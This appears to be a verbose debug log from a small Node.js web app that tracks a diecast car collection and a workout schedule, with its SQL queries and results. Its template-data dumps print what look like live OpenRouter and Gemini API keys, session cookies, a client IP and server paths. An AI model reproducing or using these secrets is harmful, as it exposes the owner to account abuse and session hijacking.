      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T07:02:54.263Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:02:54.265Z server-connect:app Executing action step identify
2026-02-04T07:02:54.265Z server-connect:app options: { provider: 'security' }
2026-02-04T07:02:54.265Z server-connect:output identity: 1
2026-02-04T07:02:54.266Z server-connect:app Executing action step restrict
2026-02-04T07:02:54.266Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:02:54.266Z server-connect:output restrict: undefined
2026-02-04T07:02:54.266Z server-connect:app Executing action step paged
2026-02-04T07:02:54.266Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:02:54.267Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T07:03:01.154Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T07:03:01.155Z server-connect:app Executing action step identify
2026-02-04T07:03:01.155Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:01.155Z server-connect:output identity: 1
2026-02-04T07:03:01.155Z server-connect:app Executing action step restrict
2026-02-04T07:03:01.155Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:01.155Z server-connect:output restrict: undefined
2026-02-04T07:03:01.155Z server-connect:app Executing action step condition
2026-02-04T07:03:01.155Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T07:03:01.155Z server-connect:app Executing action step update
2026-02-04T07:03:01.155Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'collections',
    wheres: { condition: 'AND', rules: [Array] },
    returning: 'id',
    query: 'update `collections` set `collectiontype_id` = ?, `name` = ? where `id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-04T07:03:01.156Z server-connect:output update: { affected: 1 }
2026-02-04T07:03:01.156Z server-connect:output condition: undefined
2026-02-04T07:03:01.442Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T07:03:01.442Z server-connect:app Executing action step identify
2026-02-04T07:03:01.442Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:01.442Z server-connect:output identity: 1
2026-02-04T07:03:01.443Z server-connect:app Executing action step restrict
2026-02-04T07:03:01.443Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:01.443Z server-connect:output restrict: undefined
2026-02-04T07:03:01.443Z server-connect:app Executing action step paged
2026-02-04T07:03:01.443Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T07:03:01.445Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Mercedes',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T07:03:03.110Z server-connect:router Serving templateView /workout
2026-02-04T07:03:03.144Z server-connect:app Executing action step identify
2026-02-04T07:03:03.145Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:03.145Z server-connect:output identity: 1
2026-02-04T07:03:03.145Z server-connect:app Executing action step restrict
2026-02-04T07:03:03.145Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:03.146Z server-connect:output restrict: undefined
2026-02-04T07:03:03.146Z server-connect:router Render template workout
2026-02-04T07:03:03.146Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:03:03.446Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-04T07:03:03.447Z server-connect:app Executing action step identify
2026-02-04T07:03:03.447Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:03.447Z server-connect:output identity: 1
2026-02-04T07:03:03.447Z server-connect:app Executing action step restrict
2026-02-04T07:03:03.447Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:03.447Z server-connect:output restrict: undefined
2026-02-04T07:03:03.448Z server-connect:app Executing action step select
2026-02-04T07:03:03.448Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-04T07:03:03.450Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-04T07:03:04.486Z server-connect:router Serving templateView /diecast
2026-02-04T07:03:04.486Z server-connect:app Executing action step identify
2026-02-04T07:03:04.486Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:04.486Z server-connect:output identity: 1
2026-02-04T07:03:04.486Z server-connect:app Executing action step restrict
2026-02-04T07:03:04.486Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:04.487Z server-connect:output restrict: undefined
2026-02-04T07:03:04.487Z server-connect:router Render template diecast
2026-02-04T07:03:04.487Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T07:03:04.811Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:04.811Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:04.812Z server-connect:app Executing action step identify
2026-02-04T07:03:04.812Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:04.812Z server-connect:output identity: 1
2026-02-04T07:03:04.812Z server-connect:app Executing action step restrict
2026-02-04T07:03:04.812Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:04.812Z server-connect:app Executing action step identify
2026-02-04T07:03:04.812Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:04.812Z server-connect:output identity: 1
2026-02-04T07:03:04.812Z server-connect:app Executing action step restrict
2026-02-04T07:03:04.812Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:04.813Z server-connect:output restrict: undefined
2026-02-04T07:03:04.813Z server-connect:app Executing action step select
2026-02-04T07:03:04.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:04.813Z server-connect:output restrict: undefined
2026-02-04T07:03:04.813Z server-connect:app Executing action step select
2026-02-04T07:03:04.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:04.814Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:03:04.815Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:03:04.817Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:03:04.818Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:04.819Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:03:04.819Z server-connect:app Executing action step identify
2026-02-04T07:03:04.819Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:04.819Z server-connect:output identity: 1
2026-02-04T07:03:04.819Z server-connect:app Executing action step restrict
2026-02-04T07:03:04.819Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:04.819Z server-connect:app Executing action step identify
2026-02-04T07:03:04.819Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:04.820Z server-connect:output identity: 1
2026-02-04T07:03:04.820Z server-connect:app Executing action step restrict
2026-02-04T07:03:04.820Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:04.820Z server-connect:output restrict: undefined
2026-02-04T07:03:04.820Z server-connect:app Executing action step paged
2026-02-04T07:03:04.820Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:03:04.821Z server-connect:app Executing action step identify
2026-02-04T07:03:04.821Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:04.821Z server-connect:output identity: 1
2026-02-04T07:03:04.821Z server-connect:app Executing action step restrict
2026-02-04T07:03:04.821Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:04.821Z server-connect:output restrict: undefined
2026-02-04T07:03:04.821Z server-connect:app Executing action step select
2026-02-04T07:03:04.821Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:04.822Z server-connect:output restrict: undefined
2026-02-04T07:03:04.822Z server-connect:app Executing action step select
2026-02-04T07:03:04.822Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
